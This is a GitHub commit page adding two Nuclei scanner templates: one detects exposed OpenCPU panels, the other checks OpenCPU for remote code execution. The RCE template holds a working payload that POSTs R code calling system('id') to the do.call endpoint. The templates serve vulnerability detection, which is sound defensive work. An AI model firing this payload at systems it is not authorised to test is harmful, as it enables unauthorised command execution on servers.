Skip to content

Commit

Permalink
Merge pull request projectdiscovery#6041 from projectdiscovery/opencp…
Browse files Browse the repository at this point in the history
…u-templates

Added OpenCPU RCE / Panel
  • Loading branch information
ehsandeep authored Nov 13, 2022
2 parents a78a478 + ebe7268 commit ff7d286
Show file tree
Hide file tree
Showing 2 changed files with 66 additions and 0 deletions.
23 changes: 23 additions & 0 deletions exposed-panels/opencpu-panel.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
id: opencpu-panel

info:
name: OpenCPU Panel
author: wa1tf0rme
severity: info
reference:
- https://github.com/opencpu/opencpu/
tags: opencpu,oss

requests:
- method: GET
path:
- "{{BaseURL}}/ocpu/"

max-redirects: 2
redirects: true
matchers:
- type: word
words:
- OpenCPU Test Page
- OpenCPU API Explorer
condition: or
43 changes: 43 additions & 0 deletions vulnerabilities/opencpu/opencpu-rce.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
id: opencpu-rce

info:
name: OpenCPU RCE
author: wa1tf0rme
severity: critical
description: |
Checks for RCE in OpenCPU instance
reference:
- https://pulsesecurity.co.nz/articles/R-Shells
- https://github.com/opencpu/opencpu/
tags: rce,opencpu,oss

requests:
- method: POST
path:
- "{{BaseURL}}/ocpu/library/base/R/do.call/json"

body: |
what=function(x){ return(system(paste('id'), intern %3d T))}&args={}
headers:
Content-Type: application/x-www-form-urlencoded

max-redirects: 2
redirects: true
matchers-condition: and
matchers:
- type: word
words:
- uid=
- gid=
condition: and

- type: status
status:
- 201

extractors:
- type: regex
group: 1
regex:
- \(([a-z-]+)\)

0 comments on commit ff7d286

Please sign in to comment.